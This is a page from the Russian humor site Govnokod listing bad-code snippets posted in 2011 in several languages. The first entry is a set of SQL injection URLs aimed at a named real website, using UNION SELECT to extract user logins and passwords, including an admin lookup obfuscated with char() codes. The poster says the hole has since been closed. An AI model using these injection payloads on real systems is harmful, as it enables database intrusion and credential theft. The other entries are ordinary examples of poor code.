1. Лучший говнокод

    В номинации:
    За время:
  2. SQL / Говнокод #6638

    −108

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    http://sydneymigrationspecialists.com/publication/modules/bill/pay.php?id=1 union select 1,(select login from sydney_users limit 1),3,4,5,6,7,8,9,10,11,12,13  --
    
    http://sydneymigrationspecialists.com/publication/modules/bill/pay.php?id=1 union select 1,(select password from sydney_users limit 1),3,4,5,6,7,8,9,10,11,12,13  --
    
    http://sydneymigrationspecialists.com/publication/modules/bill/pay.php?id=1 union select 1,(select password from sydney_users  limit 1),3,(select login from sydney_users limit 1),5,6,7,8,9,10,11,12,13  --
    
    http://sydneymigrationspecialists.com/publication/modules/bill/pay.php?id=1 union select 1,(show tables),3,4,5,6,7,8,9,10,11,12,13  --
    
    http://sydneymigrationspecialists.com/publication/modules/bill/pay.php?id=1 union select 1,(select login from sydney_users where login like "adm" limit 1),3,4,5,6,7,8,9,10,11,12,13  --
    
    
    http://sydneymigrationspecialists.com/publication/modules/bill/pay.php?id=1 union select 1,(select login from sydney_users where login like (select concat(char(37),char(97),char(100),char(109),char(105),char(110),char(37))) limit 1),3,4,5,6,7,8,9,10,11,12,13  --
    
    http://sydneymigrationspecialists.com/publication/modules/bill/pay.php?id=1 union select 1,(select login from sydney_users where login like (select concat(char(37),char(97),char(100),char(109),char(105),char(110),char(37))) limit 1),3,4,5,6,7,8,9,10,11,12,13  --
    
    http://sydneymigrationspecialists.com/publication/modules/bill/pay.php?id=1 union select 1,(select password from sydney_users where login like (select concat(char(37),char(97),char(100),char(109),char(105),char(110),char(37))) limit 1),3,(select login from sydney_users where login like (select concat(char(37),char(97),char(100),char(109),char(105),char(110),char(37)))limit 1),5,6,7,8,9,10,11,12,13  --

    Собственно говоря вспомнил лихие времена.
    Говнокод имел место быть в пхп. Дыра ныне закрыта (не без моей помощи).

    ursus, 12 Мая 2011

    Комментарии (7)
  3. C# / Говнокод #6633

    +122

    1. 1
    2. 2
    3. 3
    4. 4
    5. 5
    var rl2 = _vf.AddNewRouteLine(BusStation.Instance.GetRoute(
    BusStation.Instance.FindSettlement(БарановичиcheckBox6.Content.ToString()),
    BusStation.Instance.FindSettlement(БобруйскcheckBox17.Content.ToString()))[0],
    БарановичиcheckBox6, БобруйскcheckBox17, Upd);
    canvas1.Children.Add(rl2.Line);

    dotnetdeveloper, 12 Мая 2011

    Комментарии (7)
  4. C++ / Говнокод #6623

    +161

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    QString convToHex( unsigned char *bytes, int size )
    {
    	if( size > 16 )
    		size = 16;
    	QString ret;
    	for( int i = 0; i < size; i++ )
    	{
    		char buf[3];
    		::sprintf( buf,"%02x", (unsigned int) bytes[i] );
    		ret += buf;
    	}	
    	return ret;
    }

    panter_dsd, 11 Мая 2011

    Комментарии (7)
  5. Си / Говнокод #6576

    +137

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    28. 28
    29. 29
    30. 30
    /***   First, attempting to establish a SSL-connection   ***/
    		while(1)
    		{
    			sslConnection = sslConnect((const char *)remoteHost, port, CAFileName, CAPathName, error);
    			if(!sslConnection)
    			{
    				logger(ERR, "receiver: Can not establish SSL connection with %s [description - %s]", remoteHost, error);
    #ifndef DEBUG_MODE
    				if (WaitForSingleObject (hExitEvent, 5000) == WAIT_OBJECT_0)
    				{
    					if(logLevel == DEBUG_LOG_LEVEL)
    						logger(INFO, "receiver: Exit event was set in signaling state");
    					logger(INFO, "receiver: Exit");
    					return(0);
    				}
    #else
    				Sleep(5000);
    #endif
    				continue;
    			}
    			else
    			{
    				if(logLevel == DEBUG_LOG_LEVEL)
    				{
    					logger(INFO, "receiver: Connection with %s is established", remoteHost);
    				}
    				socketError = 0;
    				break;
    			}
    		}

    Пытаемся подключиться к серверу по SSL/TLS, отваливаемся по событию

    cepin, 06 Мая 2011

    Комментарии (7)
  6. Куча / Говнокод #6551

    +136

    1. 1
    2. 2
    3. 3
    4. 4
    5. 5
    Function GetTwoLastNum(cNum)
      cNum := str(cNum)
      cNum := substr(cNum,len(cNum)-1,2)
      cNum := val(cNum)
    Return cNum

    - Как найти последние две цифры числа ?
    - Очень просто: превращаешь число в текст и substr-ом отрезаешь две последние буквы. Потом конвертируешь обратно в текст.
    (код на языке Clipper)

    DropWorld, 05 Мая 2011

    Комментарии (7)
  7. PHP / Говнокод #6512

    +164

    1. 1
    2. 2
    3. 3
    4. 4
    5. 5
    $cur = date('Y-m-d',time());
    $date_arr = explode('-',$cur);
    $year =$date_arr[0];
    $month =$date_arr[1];
    $day =$date_arr[2];

    _tL, 29 Апреля 2011

    Комментарии (7)
  8. PHP / Говнокод #6510

    +162

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    28. 28
    29. 29
    30. 30
    31. 31
    32. 32
    33. 33
    34. 34
    function show_price_list() {
    $period_1 = $period_2 = $period_3 = $period_4 = $period_5 = $period_6 = "";
    $query = "
    		SELECT id, price, type
    		FROM price 
    		ORDER BY type, start
    	";
    $this->registry['sql']->query($query);
    if ($this->registry['sql']->getNumberRows()>0) {
    	foreach ($this->registry['sql']->getFetchObject() as $oRow) {
    		switch($oRow->type) {
    			case 0: $period_1 .= '<td><input type="text" name="period['.$oRow->id.']" value="'.$oRow->price.'"></td>';
    			break;
    			case 1: $period_2 .= '<td><input type="text" name="period['.$oRow->id.']" value="'.$oRow->price.'"></td>';
    			break;
    			case 2: $period_3 .= '<td><input type="text" name="period['.$oRow->id.']" value="'.$oRow->price.'"></td>';
    			break;
    			case 3: $period_4 .= '<td><input type="text" name="period['.$oRow->id.']" value="'.$oRow->price.'"></td>';
    			break;
    			case 4: $period_5 .= '<td><input type="text" name="period['.$oRow->id.']" value="'.$oRow->price.'"></td>';
    			break;
    			case 5: $period_6 .= '<td><input type="text" name="period['.$oRow->id.']" value="'.$oRow->price.'"></td>';
    			break;
    		}
    	}
    }
    @$this->registry['template']->set('period_1', $period_1);
    @$this->registry['template']->set('period_2', $period_2);
    @$this->registry['template']->set('period_3', $period_3);
    @$this->registry['template']->set('period_4', $period_4);
    @$this->registry['template']->set('period_5', $period_5);
    @$this->registry['template']->set('period_6', $period_6);
    
    	}

    Классика жанра

    1_and_0, 29 Апреля 2011

    Комментарии (7)
  9. PHP / Говнокод #6508

    +163

    1. 1
    2. 2
    3. 3
    4. 4
    5. 5
    6. 6
    $lu=0;
    $ray_array = file("allray.txt");
    while (empty($rayon)) //пока район не заполнен значением
    {
    preg_match("#".trim($ray_array[$lu++])."#", $text, $rayon);
    }

    Многострочный поиск

    Uchkuma, 29 Апреля 2011

    Комментарии (7)
  10. C# / Говнокод #6501

    +121

    1. 1
    2. 2
    3. 3
    4. 4
    if (lvwUsers.SelectedItems[0].SubItems[1].Text != "" || 
                                lvwUsers.SelectedItems[0].SubItems[1].Text != string.Empty)
                            {
                                SecuritySettings.AuthenticationProtocol = ....

    wwwww, 28 Апреля 2011

    Комментарии (7)
  11. Куча / Говнокод #6485

    +131

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    <div class="add_from_list"> 
    <input type="text" name="Количество товара" value="1" id="lol"> шт. 
    <script>
    function hz(id,val)
    {
    var str=id.split('-');
    var n='';
    for(var i=0;i<3;i++) n+=str[i]+'-';
    n+=val;
    document.getElementById(id).id=n;
    }
    </script>
    <a href="javascript:return false;" id="good-7307-272,80-1" class="addCart" onclick="hz(this.id,document.getElementById('lol').value);" >Добавить товар</a> 
    </div>

    GoodTalkBot, 26 Апреля 2011

    Комментарии (7)